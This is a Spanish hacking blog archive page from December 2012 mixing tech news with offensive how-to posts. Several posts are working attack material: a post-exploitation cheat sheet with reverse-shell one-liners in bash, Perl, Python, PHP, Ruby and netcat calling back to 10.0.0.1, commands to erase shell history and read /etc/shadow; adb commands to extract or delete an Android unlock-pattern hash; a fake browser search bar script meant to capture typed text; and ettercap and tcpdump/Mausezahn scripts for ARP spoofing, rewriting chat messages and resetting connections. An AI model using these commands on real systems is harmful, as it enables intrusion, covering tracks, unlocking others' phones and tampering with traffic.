domingo, 30 de diciembre de 2012

UbnHD2 : una distribución de pentesting para móviles

Muchos de ustedes seguro que habrá pensado en convertir su smartphone Android en un auténtica máquina de hacking. Algunos seguro que han instalado aplicaciones como ANTI, dSploit, FaceNiff, etc. y puede que incluso algún osado haya instalado la versión ARM de Metasploit.

Hoy vamos a ver otra solución para este propósito: UbnHD2, un SO basado en Ubuntu para pentesting que se ejecuta de forma nativa en un dispositivo HTC HD2. La distribución de momento está en fase beta y todavía hay algunas opciones que no funcionan. Puedes encontrar los pasos necesarios para la instalación en la página del desarrollador.

 
 


 

Características:

- Basado en Ubuntu 10.10 Maverick Meerkat, Kernel 2.6.32.15 (ARM)


- X.org 7.5, GNOME 2.32.0 & Cairo-Dock 2.2.0


- USB-OTG, 3G Network & WiFi (drivers no incluidos, proprietarios, cosulta el foro XDA)


- Perl 5.10.1, Ruby 4.5, Python 2.6.6 y más de 170 herramientas de Pentest precargadas



Descarga desde Sourceforge

jueves, 27 de diciembre de 2012

Averiguar la versión de un SQL Server

Para este día de Navidad, Nelson Brito (@nbrito) tenía preparada una nueva versión de SQL Fingerprinting Next Generation, una herramienta de la que ya se había hablado aquí para hacer Fingerprinting a servidores SQL Server. Como yo también soy un enganchado a esto del hacking y las tecnologías, aproveché el día de Navidad para probar la herramienta, así que igual que hice en la anterior ocasión, escanee unos segmentos buscando servidores SQL Server con el puerto 1433 abierto en Internet y lancé la herramienta.


Figura 1: Buscando servidores SQL Server con el puerto 1433 abierto a Internet


Esta versión está escrita en Perl y según cuenta en la descripción, es capaz de reconocer más de 500 versiones distintas de SQL Server con su Service Pack y conjunto de parches de actualización instalados. Basta con invocarlo con el nombre del fichero en Perl y la dirección IP a realizar el proceso de fingerprinting para obtener una versión y un grado de porcentaje de certidumbre, tal y como se ve en la figura 2.


Figura 2: MS SQL Server 2008 R2 RTM descubierto con ESF.pl


Si se quiere conocer el nombre del servidor SQL Server en la red, hay que establecer una cadena de conexión y analizar la respuesta, tal y como ya se vió en "Cómo conocer el nombre de un servidor SQL Server con una cadena de conexión". En esta herramienta, basta con utilizar la opción -d  de debug, y analizar la respuesta obtenida. En la Figura 3 Zitro-41B72B7C1.


Figura 3: Modo debugging de la herramienta. Permite averiguar el nombre del servidor SQL Server


Tal vez hubiera sido más cómodo que el nombre del servidor saliera en la respuesta por defecto de la aplicación al hacer el proceso de fingerprinting, pero hay que reconocer que parece funcionar muy bien con diferentes versiones de SQL Server.


Figura 4: Servidor MS SQL Server 2008 SP3 descubierto con ESF.pl


Para descubrir los servidores SQL Server en una red, además de hacer el escaneo con nmap que he puesto en este ejemplo, se puede utilizar un escaner IPv6 como Topera para descubrir qué equipos están respondiendo por ese puerto, o utilizar trucos como la creación de un DSN en una red local o herramientas de administración como MyLittleBackup. La herramienta merece tenerla en cuenta para analizar las versiones de SQL Server, así que tenla presente en tu próximo pentesting.



Fuente

Vulnerabilidades en controladores gráficos de AMD y NVIDIA

El malware siempre o casi siempre se desarrolla para afectar y propagarse en el mayor número de equipos posible, simple economía de escala. Explotar vulnerabilidades en los controladores de los dos mayores fabricantes de tarjetas gráficas, AMD y NVIDIA, es cuanto menos una buena idea para mentes cabales y malvadas.

Hace algo más de una semana, AMD alertaba de un fallo de seguridad en la funcionalidad de actualización automática de su centro de control Catalyst. El propio fabricante instaba a sus usuarios a desactivar la opción “Comprobar automáticamente actualizaciones” y a no recibir avisos de nuevos drivers, al menos hasta principios del 2013. Así que toca actualizar los drivers directamente desde el sitio web amd.com.

Si por el contrario utilizas NVIDIA pues la situación no es tampoco demasiado alentadora. Un tal Peter Winter-Smith (Pedro para los amigos) acaba de publicar otro exploit para un fallo en NVIDIA Display Device server (NVVSVC), el servicio de los drivers de pantalla de Windows, que podría permitir a un usuario local o remoto obtener privilegios de administrador mediante un desbordamiento de pila. Ya se avisó de un fallo similar en los drivers de Linux en agosto que permitía también escalar privilegios...

En conclusión, ten en cuenta estos vectores de ataque y a punto tus sistemas fortificados (firewalls locales, permisos, etc.). Que no nos agarren desprevenidos el año 2013 ;)

sábado, 22 de diciembre de 2012

La gama media de Samsung crece con el nuevo Galaxy Grand y su pantalla de 5 pulgadas


Un panel de 5 pulgadas de diagonal y prestaciones de gama media. He aquí la carta de presentación del nuevo Galaxy Grand que Samsung acaba de desvelar y del que no ha ofrecido todavía datos concretos sobre su eventual llegada al mercado español.

Basado en Android 4.1.2 (alias Jelly Bean), el nuevo dispositivo cuenta con un procesador de doble núcleo con una velocidad de 1,2 GHz. Pese a las generosas dimensiones de su pantalla, ésta se conforma con una resolución de 800 x 480 puntos. En el terreno fotográfico, presume de una cámara principal de 8 megapíxeles capaz de grabar también vídeos Full HD, y de otra frontal con una resolución de 2 millones de puntos y la posibilidad de capturar secuencias a 720p.


Disponible en una versión estándar (GT-I9080) y otra con doble tarjeta SIM (GT-I9082), en ambos casos sólo se ofrece una configuración con 8 GB de memoria interna que, eso sí, pueden ampliarse hasta 64 GB mediante el uso de tarjetas microSD.


Más información acerca de esta noticia:


- Información publicada por Samsung


FUENTE

Error de permisos en telefonos Samsung Android (Exynos exploit)



Como muchos ya sabrán, se ha descubierto un fallo en los permisos establecidos para los procesadores Exynos 4210 y 4412 que usan algunos algunos teléfonos Samsung y que permite obtener un control total de los dispositivos con Android. 

Los detalles de la vulnerabilidad han salido a la luz en el foro de xda-developers y se debe fundamentalmente a que "/dev/exynos-mem" es de lectura/escritura para todos los usuarios del dispositivo. Simplemente un problema de establecimiento de permisos. Puesto que es posible acceder desde ahí a toda la memoria RAM del aparato (la RAM está mapeada tal cual), se puede parchear el kernel y "rootear" el dispositivo... o suponer un grave problema de seguridad. 

El error afecta a los Samsung con procesador 4210 y 4412: 

* Samsung Galaxy Note GT-N7000 
* Samsung Galaxy S2 GT-I9100 
* Samsung Galaxy S2 GT-I777 
* Samsung Galaxy S3 GT-I9300 
* Samsung Galaxy S3 GT-I9305 
* Samsung Galaxy Note 2 GT-N7100 
* Samsung Galaxy Note 2 GT-N7105 
* Samsung Galaxy Note 10.1 GT-N8000 
* Samsung Galaxy Note 10.1 GT-N8010 
* Meizu MX 

La "buena noticia" es que este fallo permite "rootear" el dispositivo de forma sencilla y desde el espacio de usuario, lanzando una aplicación. Esto hace más sencillo aún abrir el dispositivo a todas las posibilidades que ofrece Android.
Esta situación también la sufrió iPhone, con ciertas vulnerabilidades aparecidas en 2010 que permitían tomar el control total del teléfono con solo visitar una web. La mala es precisamente esa: una simple aplicación puede hacerse "root" en el teléfono. 

Chainfire y alephzain han creado ya un apk (aplicación de Android) llamada ExynosAbuse, que permite precisamente obtener los privilegios de root el dispositivo aprovechando esta vulnerabilidad. 

La aplicación permite también parchear el fallo (cambiando los permisos) pero sólo como una contramedida hasta que Samsung saque el parche oficial que la corrija, puesto que aún no se conocen las consecuencias de este cambio de permisos. Podría hacer que no funcionase correctamente el sistema gráfico, por ejemplo. 

Samsung, seguimos esperando... tic, tac, tic, tac...

Fuente: http://forum.xda-developers.com/showthread.php?t=2048511 
 
 

miércoles, 19 de diciembre de 2012

Cómo comprometer el patrón de desbloqueo de Android


En la siguiente entrada veremos cómo obtener o eliminar un patrón de bloqueo de Android, siempre como prueba de concepto, así que nada de terminales robados ni de tomar prestado un momento el teléfono de tu novia... XD

Como todos sabemos, en Android se utiliza ampliamente el patrón de grid en 3x3, en el que deberemos marcar un mínimo de cuatro puntos y en el que cada punto sólo puede ser utilizado una vez. Cada uno de estos puntos es indexado internamente de 1 a 9. Por ejemplo, en la imagen de la derecha el patrón de desbloqueo sería "2547896".

Este patrón se almacena como un hash SHA-1 en una cadena de bytes dentro del fichero /data/system/gesture.key. El problema es que Android no añade salt a los datos originales y, si tenemos en cuenta que tenemos un número finito de posibles patrones, crear y utilizar un diccionario de hashes válidos es algo muy trivial...

Obteniendo el patrón de desbloqueo

El fichero gesture.key se encuentra en un directorio que no es accesible normalmente, por lo que tendremos que acceder como root, es decir, el teléfono ha de encontrarse previamente rooteado. Además, para poder utilizar el SDK (adb) deberemos conectar el terminal a nuestro equipo y para ello tiene que estar activado el USB debugging. Si se dan estas dos circustancias los pasos son muy sencillos. A continuación veremos cómo hacerlo en un Windows 7 con un Samsung Galaxy S...

Primero conectamos el teléfono y comprobamos que nuestro dispositivo se reconoce correctamente:

D:\android-adt-bundle-windows\sdk\platform-tools>adb.exe devices
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
List of devices attached
303121D3C7E200EC        device


Ahora volcamos el contenido del fichero gesture.key a un fichero de texto en nuestro equipo:

D:\android-adt-bundle-windows\sdk\platform-tools>adb shell "su -c 'cat /data/system/gesture.key'" > prueba.txt

 
Después lo abrimos con nuestro editor hexadecimal favorito:

D:\android-adt-bundle-windows\sdk\platform-tools>"d:\Program Files (x86)\HxD\HxD.exe" prueba.txt

Copiamos el patrón del dispositvo:

 

Finalmente, buscamos el hash dentro del diccionario:



Como puedes comprobar, a la izquierda podemos ver el patrón de desblopqueo utilizado. Así de fácil.

Y ahora pensarás  "ya, y si el teléfono no está rooteado o no tiene el debugging activado?". Pues existe otra opción que sería obtener el contenido de la memoria flash mediante JTAG y buscar cada uno de los hashes del diccionario pre-compilado. Puedes descargar scripts en Python que automatizan esta tarea desde http://www.ccl-forensics.com/Software/other-software-a-scripts.html.

Desactivando el patrón de desbloqueo

 
Por último, existe otra opción que es evadir el patrón de desbloqueo. Para ello se puede:

1. desactivar:

adb shell
cd /data/data/com.android.providers.settings/databases
sqlite3 settings.db
update system set value=0 where name='lock_pattern_autolock';
update system set value=0 where name='lockscreen.lockedoutpermanently';
.quit


y/o eliminar:

adb shell rm /data/system/gesture.key

Fuentes:

 
Locked Out of Your Phone? Here's How You Bypass the Android Pattern Lock Screen 


Unlocking Android Pattern Locks

 
Cracking android lockscreens 



sábado, 15 de diciembre de 2012

La NASA insiste en que Curiosity sí está en Marte




A veces pareciera que algunas personas no aprecian el trabajo de la NASA. Logran cosas que nadie en la historia de la humanidad había logrado antes, y a cambio reciben teorías conspiratorias que dicen que ellos solo nos están engañando con fines políticos. Debe ser por eso, que la organización se toma el tiempo de reivindicarse en público para explicar esas cosas que generan todo un manojo de teorías sobre sus logros.


En esta ocasión, hay personas que aseguran que Curiosity, el explorador marciano que hace meses logró llegar al planeta rojo, no está realmente allá y que el autorretrato que se tomó en Marte no es real. Esto lo fundamentan bajo la idea de que no se ve el brazo del robot en la foto y que es imposible autorretratarse solo sin que se vea un brazo. En torno a esto se formó la teoría de que la foto no solo no se tomó en Marte, sino también de que fue tomada por alguien más.

Como el sentido común no es suficiente para muchos que ignoran que si la NASA mintiera lo haría mejor, la organización se tomó la molestia de explicar por qué no se ve el brazo de Curiosity en el autorretrato. Resulta que el resultado final de la foto del robot en Marte es el resultado de 55 fotografías que se tomaron y acoplaron juntas para que el brazo del robot no salga y se pueda ver todo el explorador. Esto se hace con el objetivo de que no haya nada que obstaculice la imagen del robot.

Bueno, entonces ya quedó claro. No todos los autorretratos son como las fotos de perfil de Facebook. En otras noticias, Curiosity se dirige a una roca con una forma particular y utilizará, por primera vez, su martillo para romperla y analizarla. Con esto la misión de exploración marciana buscará nuevos detalles sobre el planeta rojo.

FUENTE

¿Y por qué el fin del mundo no podría ser el 19 de enero de 2038? Apocalipsis por un desbordamiento de entero...

Andaba yo trabajando, obteniendo informes de mi SIEM, cuando de repente al indicar el periodo de obtención de datos obtuve el siguiente error:


Mientras, en otras partes del mundo, esa fecha se sigue mostrando también en miles pantallas y seguro que a ti también te suena, ¿verdad?. Pero, ¿por qué 1 de enero de 1970?, veamos:

En la década de los 60, las primeras versiones de Unix medían el tiempo del sistema en intervalos de 1/60s, debido a los 60 Hz de la frecuencia de los osciladores en aquella época. Esto significaba que un entero sin signo de 32 bits sólo podía representar un lapso de tiempo inferior a 829 días. Por esta razón, el tiempo representado por el número 0 (llamado la época o epoch) tuvo que ser aplicado en el pasado muy reciente: 01/01/1971. De hecho, la primera edición del Manual del Programador de Unix del 3 de noviembre de 1971 define el tiempo Unix como "el tiempo desde las 00:00:00 de 1 de enero de 1971 medido en sexagésimos de segundo".

Más tarde, los intervalos se incrementaron a un segundo (1HZ DC), lo que aumentó el lapso de tiempo que podría ser representado a alrededor de 136 años y, como el periodo de representación era más amplio, el epoch se redondeó a 01/01/1970. Haciendo cálculos, un entero con signo de 32 bits puede representar números enteros entre -2147483648 y 2147483647, es decir, el rango representable en el tiempo Unix va desde las 20:45:52 GMT del 13 de diciembre de 1901 a 03:14:07 GMT del 19 de enero de 2038...


Seguro que lo acabas de pensar: a partir de esa fecha todos los equipos que aún utilizan 32 bits y miden así el tiempo sufrirán un desbordamiento de entero...
 


Esto se conoce como el "problema del año 2038" y algunos creen que será más importante que el del año 2000. La solución ya está en la mayoría de sistemas operativos de 64 bits: el uso de un signo de 64-bit presenta una nuevo periodo medible veinte veces mayor que la edad estimada del universo, aproximadamente 292 mil millones de años (tranquilos, no necesitaremos tanto tiempo para destruir la Tierra antes).

Pero muchos de ellos no serán actualizados en esa fecha... Hoy, miles o millones de sistemas embebidos utilizan Unix/Linux y, seguramente, muchos de ellos no serán actualizados en esa fecha... Muchos quieren e insisten en hacer coincidir el fin del mundo con el calendario Maya pero, ¿por qué no con el fin del "tiempo Unix"?...

Seguro que, a partir del 21 de diciembre, el 19 de enero de 2038 será más importante. ¿Qué no te gusta? pues sólo tienes que relajarte y elegir en esta lista tu fecha del apocalipsis favorita. Por el momento, que tengas buen fin de semana! ;)

jueves, 13 de diciembre de 2012

Comandos útiles de *nix para pen-testers/hackers

Hoy rescatamos una entrada de c0rrupt en la que se recopilan diversos comandos que nos serán útiles para la post-explotación de un sistema Linux/Unix. Como siempre, si conoces cualquier otro y quieres compartirlo no dudes en comentar!

BLIND FILES

/etc/resolv.conf (todos pueden leerlo sin alertar a un IDS)
/etc/motd, /etc/issue
/etc/passwd
 
SISTEMA
 
uname -a
ps aux
top -n 1 -b
id
arch
w
who -a
gcc -v
mysql --version
perl -v
ruby -v
python --version
df -k
mount
last -a
lastlog
lastlogin (*bsd)
getenforce
dmesg
lspci
lsusb
lshw
lshw -c network
free -m
cat /proc/cpuinfo
cat /proc/meminfo
du -h --max-depth=1 /
which nmap (ver si está ya instalado)
locate bin/nmap
which nc (ver si está ya instalado)
locate bin/
whoami
jps -l
java -version
 
RED
 
hostname -f
ip addr show
ifconfig -a
route -n
cat /etc/network/interfaces
iptables -L -n
iptables-save
netstat -anop
netstat -r
netstat -nltupw (root con raw sockets)
arp -a
lsof -nPi
 
CONFIGURACIONES
 
ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/null
cat /etc/issue{,.net}
cat /etc/passwd
cat /etc/shadow (gotta try..)
cat /etc/shadow~ # (suele estar presente si se ha editado con gedit)
cat /etc/master.passwd
cat /etc/group
cat /etc/hosts
cat /etc/crontab
cat /etc/sysctl.conf
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lista todos los crons)
cat /etc/resolv.conf
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /opt/lampp/etc/httpd.conf
cat /etc/samba/smb.conf
cat /etc/openldap/ldap.conf
cat /etc/ldap/ldap.conf
pdbedit -L -w
pdbedit -L -v
cat /etc/exports
cat /etc/auto.master
cat /etc/auto_master
cat /etc/fstab
cat /etc/exports
find /etc/sysconfig/ -type f -exec cat {} \;
cat /etc/sudoers
 
DETERMINAR DISTRIBUCIÓN:
 
cat /etc/*release
/etc/SUSE-release                      # Novell SUSE        
/etc/redhat-release, /etc/redhat_version         # Red Hat
/etc/fedora-release                     # Fedora
/etc/slackware-release, /etc/slackware-version     # Slackware
/etc/debian_release, /etc/debian_version,         # Debian
/etc/mandrake-release                 # Mandrake
/etc/sun-release                     # Sun JDS
/etc/release                         # Solaris/Sparc
/etc/gentoo-release                     # Gentoo
/etc/lsb-release                     # ubuntu
??                            # arch linux
arch # on OpenBSD sample: OpenBSD.amd64
uname -a  (often hints at it pretty well)
 
PAQUETES INSTALADOS
 
rpm -qa --last | head
yum list | grep installed
dpkg -l  
dpkg -l |grep -i “linux-image”
pkg_info         # FreeBSD
FUENTES, REPOSITORIOS DE SOFTWARE
cat /etc/apt/sources.list
ls -l /etc/yum.repos.d/
cat  /etc/yum.conf
 
ENCONTRAR FICHEROS IMPORTANTES
 
find /var/log -type f -exec ls -la {} \;
ls -alhtr /mnt
ls -alhtr /media
ls -alhtr /tmp
ls -alhtr /home
cd /home/; tree
ls /home/*/.ssh/*
find /home -type f -iname '.*history'
ls -lart /etc/rc.d/
locate tar | grep [.]tar$
locate tgz | grep [.]tgz$
locate sql l grep [.]sql$
locate settings | grep [.]php$
locate config.inc | grep [.]php$
ls /home/*/id*
locate .properties | grep [.]properties #ficheros de configuración de java
locate .xml | grep [.]xml # ficheros de configuración de java/.net 
find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm -4000 # encuentra suids
 
BORRANDO TUS HUELLAS
 
export HISTFILE=
rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null
history -c
 
ACCIONES POR USUARIO
 
ls -alh /home/*/
ls -alh /home/*/.ssh/
cat /home/*/.ssh/authorized_keys
cat /home/*/.ssh/known_hosts
cat /home/*/.*hist*
find -type f /home/*/.vnc /home/*/.subversion
grep ^ssh /home/*/.*hist*
grep ^telnet `/home/*/.*hist*
grep ^mysql /home/*/.*hist*
cat /home/*/.viminfo
sudo -l # if sudoers is not readable, this sometimes works per user
crontab -l
Priv (sudo’d or as root)
ls -alh /root/
cat /etc/sudoers
cat /etc/shadow
cat /etc/master.passwd # OpenBSD
cat /var/spool/cron/crontabs/* | cat /var/spool/cron/*
lsof -nPi
ls /home/*/.ssh/*
 
SHELL INVERSO
 
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 10
.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
xterm -display 10.0.0.1:1
Listener-     Xnest :1
Añade permiso para conectar-  xhost +victimIP

¿Es el Universo una simulación informática?


Hace casi una década, en el 2003, un filósofo británico extendió la idea de que el Universo en el que vivimos podría ser una simulación informática a cargo de nuestros descendientes. Aunque hoy nos pueda parecer una broma y poco probable, e incluso incomprensible, la propuesta se pone a prueba gracias a la creación de una prueba potencial de un grupo de físicos de la Universidadde Washington.


El concepto de que la humanidad actual podría estar viviendo en una simulación por ordenador fue propuesto por el profesor de filosofía Nick Bostrom en el año 2003. En su documento, el hombre sostenía que al menos una de estas tres posibilidades es cierta:
  • La especie humana puede extinguirse antes de llegar a una etapa "post humana".
  • Es poco probable que cualquier civilización "post humana" sea capaz de poner en marcha un número significativo de simulaciones informáticas sobre su historia evolutiva.
  • Es casi seguro que estamos viviendo en una simulación informática.

Según decía su documento, Bostrom también sostenía que:

La creencia de que existe una posibilidad significativa de que un día nos convirtamos en post humanos que hagan correr simulaciones ancestrales es falsa, a menos que actualmente estemos viviendo en una simulación.

Debido a las limitaciones actuales pasarían décadas antes de que los científicos fueran capaces de realizar simulaciones incluso primitivas del Universo. Pero el equipo de la Universidad de Washington sugiere que se pueden llevar a cabo actualmente una serie de pruebas, mejoradas en el futuro cercano, que serían sensibles a las limitaciones impuestas en futuras simulaciones, unas pruebas que explicarían si vivimos o no dentro de una simulación por ordenador.

Hoy en día los superordenadores utilizan una técnica llamada "cuadrícula de cromodinámica cuántica", una técnica que funciona a partir de las leyes físicas que rigen el Universo, capaz de simular con cierto grado de éxito pequeñas porciones del mismo en una escala de una billonésima de metro, un poco más grande que el núcleo de un átomo.

Para los investigadores, con el tiempo las simulaciones más potentes serán capaces de modelar en la escala de una molécula, luego de una célula e incluso de un ser humano. Para ello dicen que deberán pasar varias generaciones de equipos cada vez más potentes, tanto, que podrían simular porciones del Universo lo suficientemente grandes como para entender las limitaciones a las que se verían sometidos los procesos físicos que conocemos. Estas limitaciones serían la prueba de que, como dice Bostrom, vivimos en una simulación informática.

Según Martin Savage, autor principal del artículo, actualmente existen señales inequívocas de la presencia de estas limitaciones físicas en las simulaciones de hoy. Limitaciones que con el tiempo se harán más evidentes, cuando la tecnología y los equipos avancen y puedan simular pedazos más grandes de Universo.

Savage habla de la "cuadrícula base" que se da para modelar el continuo espacio-temporal donde el Universo se desarrolla. De la misma forma que hoy, en el futuro la usarán nuestros descendientes para construir simulaciones. De esta forma el autor explica que con cada prueba de estas limitaciones en nuestro Universo, se demuestra que vivimos en un espacio simulado artificialmente. Según Savage:

Si conseguimos hacer una simulación lo suficientemente grande, de ella emergería algo parecido a nuestro Universo. En ese caso, solo es cuestión de buscar en el Universo en que vivimos una "firma" análoga a la que estamos utilizando en las simulaciones a pequeña escala. Se trata del primer test que podría (o no) validar la teoría de Bostrom.

La idea propuesta por Savage y sus colegas sugiere que esa "firma" podría aparecer como una limitación de la energía de los rayos cósmicos. Esta propuesta se basa en la idea de que los rayos cósmicos de mayor energía no viajarían a lo largo de los bordes de la retícula artificial que simula el espacio-tiempo en la simulación, sino que debería viajar en diagonal, con interacciones desiguales en todas las direcciones.

Para los investigadores, si esto fuera cierto, si viviéramos en un Universo simulado por equipos, cabría la posibilidad de que otras simulaciones de otros universos estuvieran en marcha al mismo tiempo, universos paralelos al nuestro. Savage termina su estudio con una idea final fascinante:

Si fuera así, la pregunta es clara: ¿podríamos comunicarnos entonces con otros universos si estos se estuvieran ejecutando desde la misma plataforma?

Fuente

lunes, 10 de diciembre de 2012

La TV te vigila... (Samsung 0-day)

ReVuln Ltd., una pequeña compañía de seguridad encabezada por Donato Ferrante y Luigi Auriemma, publica un vídeo en el que se muestra el uso de uno de sus exploits que afecta a Smart TV, en este caso a un televisor Samsung LED 3D. En esta demostración veremos cómo es posible utilizar una vulnerabilidad de día 0 para recuperar información sensible, acceder con root, monitorizar y en definitiva controlar totalmente y de forma remota el dispositivo. Seguro que a partir de ahora, cuando estés sentando en el sillón de tu casa frente a tu TV pensarás: "quién está viendo a quién":



Robo de contraseñas mediante la suplantación de las barras de búsqueda de los navegadores (PoC js preventDefault)

Continuamente se publican en Internet listas de contraseñas de sitios comprometidos, amén de otro tipo de información delicada como números de tarjetas de crédito o cuentas bancarias. Seguro que en alguna ocasión habéis realizado una búsqueda mediante el navegador para comprobar que vuestra contraseña (o lo que sea) no se encuentra en esa enorme lista expuesta: pulsáis ctrl+f e introducís el texto en busca de coincidencias en la página y pensáis "total, como no introduzco mi contraseña en ningún formulario no hay peligro de que me la levanten"...

¡Error! Mediante Javascript es posible "secuestrar" el comando de búsqueda de cualquier navegador, de tal forma que podemos ejecutar un script malicioso al pulsar la combinación de teclas ctrl+f o
⌘+f. Esto se traduce en que podemos emular una barra de búsqueda falsa que sustituya a la barra real del navegador y a la hora de buscar el texto en la página todo lo que se escriba se mande a un servidor remoto.

Todo lo que tenemos que hacer es utilizar la función preventDefault, que cancela una acción por defecto y nos permite ejecutar otros eventos. El código genérico es muy sencillo:



$(window).keydown(function(evt){
                if((evt.which == "70" && (evt.metaKey || evt.ctrlKey))){
                        console.log("STRG+F");
                        evt.preventDefault();
                        /* display fake search */
                        $("#searchbox").slideDown(110);
                        $('#search').focus();

Y el resultado es más que creíble como podéis ver en las siguientes pruebas de concepto que emulan la barra de búsqueda de Chrome (1 y 2) o Firefox (1).

Fuentes:

Browser Event Hijacking

 
{ what's real and what's not }

 
How script kiddies can hijack your browser to steal your password

 

domingo, 2 de diciembre de 2012

Haciendo el gamberro en intranet & hacking con dos piedras (2ª parte)

Como lo prometido es deuda y en hackplayers, pese a la crisis, se pagan las deudas, dado que la semana pasada los emplazamos a una segunda entrada de "haciendo el gamberro en intranet y hacking con dos piedras" muy gustosamente retomaremos la susodicha entrada.

Aunque hablar de un objetivo para este texto sería algo capcioso, pues dudo que valga para algo o alguien lo lea....XDXDXD en principio lo tiene, pretendemos divertirnos aprendiendo e intentar ver que se pueden hacer las cosas de muchísimas maneras ... incluso con lo justo sin demasiadas herramientas... a lo "old school" como diría un vetusto amigo.
En esta entrada dejaremos a un lado nuestro arsenal preconfigurado y desempolvaremos viejas herramientas que teníamos ya casi olvidadas... Vamos y no me saco el cpc464 porque no tiene tarjeta wireless :P y de paso veremos como pasar unas risillas a costa de nuestros vecinos de red.

En la entrada anterior no mencione ningún tipo de contramedida, pero en esta lo haremos. Desde la modesta opinión del que os habla y como diría mi abuelita "hay que saber hacer de to...!!!!".
La última vez que nos vimos (en el sentido figurado de la frase, claro está), si mal no recuerdo, estábamos viendo como resetear sesiones establecidas muy a lo MacGyver, pero el objetivo era ver el porqué de las cosas.
También vimos un poco por encima los riesgos de dejar desprotegido el protocolo ARP.

Vamos a empezar si os parece comentando un par de contramedidas y luego seguimos...

 
La primera de ellas es la contramedida de las tres "Bs":  buena, bonita y barata en cuanto a ARP se refiere y que, a nivel particular, la debería adoptar todo hijo de vecino en su red de casa. Se trata de establecer la MAC del router de forma estática ya que cuando menos no puede evitar un par de disgustos. Además, si en nuestra red están los tres CHUCHES de siempre: ordenador, teléfono e impresora tampoco sería malo establecer su MAC de forma no dinámica. Aunque pueda parecer difícil es algo sencillo que no lo vamos a tratar a fondo aquí, ya que hay cuarenta mil textos en Internet y se va un poco del objetivo del post.

Otra opción es usar la herramienta arpwatch que monitoriza la actividad de la red ethernet y mantiene una base de datos de pares de direcciones ip y mac. En caso de que se produzca un cambio, esta aplicación lo reporta por email.

Y ya para los niveles máximos de paranoia podemos contemplar la opción de instalar Arpón. Herramienta de la cual ya hablamos hace tiempo hackplayers.

3. YO NO DIJE ESO!!

Tras ver como proteger nuestra red sigamos con los ataques y vamos a ver uno muy divertido. Imaginaos que estáis con vuestro compañero de piso, o trabajo y él está hablando con su novia por el messenger.

Vamos a secuestrar esos paquetes y retocaremos la información, para ello vamos a utilizar ettercap y sus filtros:

msn.filter 

if (ip.proto == TCP) { if (tcp.src == 1863 || tcp.dst == 1863) { if

  (search(DATA.data, "")) { replace("guapisima", "petardaca"); replace("te 

quiero", "q te jodan"); } } }



Lo primero que haremos es "compilar "el filtro en ettercap y luego haremos fuego con el siguiente comando:

# ettercap -Tq -M arp:remote -i interface -F filter.ef // //

El resultado habla por si solo:
 

Bueno tras esta simpática metida de zarpa en paquetes ajenos (aconsejamos no decir esta frase fuera de contexto) vamos a ver un poquito mas de como coger los paquetes al vuelo y modificarlos, siguiendo con la primera parte del post en la que vimos como retocar los paquetes a mano y mandarlos..

Como podréis imaginar hacerlo de esa manera tan rudimentaria sería "imposible" porque no somos tan rápidos, tenemos que ver la manera de automatizar el proceso...

Para esto nos serviremos de dos grandes herramientas: TCPDUMP (para mí uno de los mejores sniffers jamás escritos, versátil, rápido y simple)
y del generador de paquetes Mausezahn del cual hablamos también aquí en hackplayers.

También utilizaremos un pequeño script que he montado (por favor los puristas de la programación no seáis muy críticos) que os dejo aquí y en pastebin.
Lo que haremos en este ejercicio es estar al loro de una nueva conexión, agarraremos el paquete que nos interesa y cerraremos la conexión.
Dejamos a tcpdump con la oreja puesta en las conexiones de la víctima 192.168.0.107 atento a los paquetes syn-ack gracias al filtro 'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)' En cuanto lo reciba leeremos la info que nos interesa, en este caso es el ack y los datos de la conexión.

Le pasamos esa información a MZ y montamos un paquete con flag RST actiell seq_num correspondiente para cerrar la conexión...
#script by The Monster of cookies #!/bin/bash tcpdump -i wlan0 host 192.168.0.107 and -S -n -e -

 'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)' | awk '{ CONVFMT="%u"; srand(); #recogemos 

las variables de la salida tcpdump dst_mac = $2; src_mac = $4; split($12, dst, "."); split($10, src, "."); 

src_ip = src[1]"."src[2]"."src[3]"."src[4]; dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4]; src_port = substr(src[5], 

1, length(src[5])); dst_port = substr(dst[5], 1, length(dst[5])-1); # recogemos el ack number para poder 

mandar paquetes licitos seq_num = $18 ; # le pasamos la informacion a mausehn exec_string= "mz wlan0 -c

 10 -A "dst_ip" -B " src_ip " -a "src_mac" -b "dst_mac" -t tcp \" flags=rst, win=0, dp=" src_port ", 

s="seq_num " sp="dst_port" \" " ; # Informacion.. input vs. output print "[in] "$1 " "$2 " "$3" "$4" "$5" "$6" 

"$7" "$8" "$9" "$10" "$11" "$12 ""$13""$14""$15 " " $16" " $17" "$18 " "$19; print "[out] "exec_string; # 

Injectamos los paquetes con Mausezahn system(exec_string); }'



Esto solo es una pequeña muestra de lo que podemos hacer, podemos enrevesar el proceso cuanto queramos y conseguir cosas muy, muy interesantes....espero que os haya gustado. 

Un saludo.

Número 9 de la revista Hack In The Box



Ya ha salido un nuevo número de la revista sobre seguridad HITB o Hack In The Box. En este noveno número podemos encontrar:
  • Windows Security  

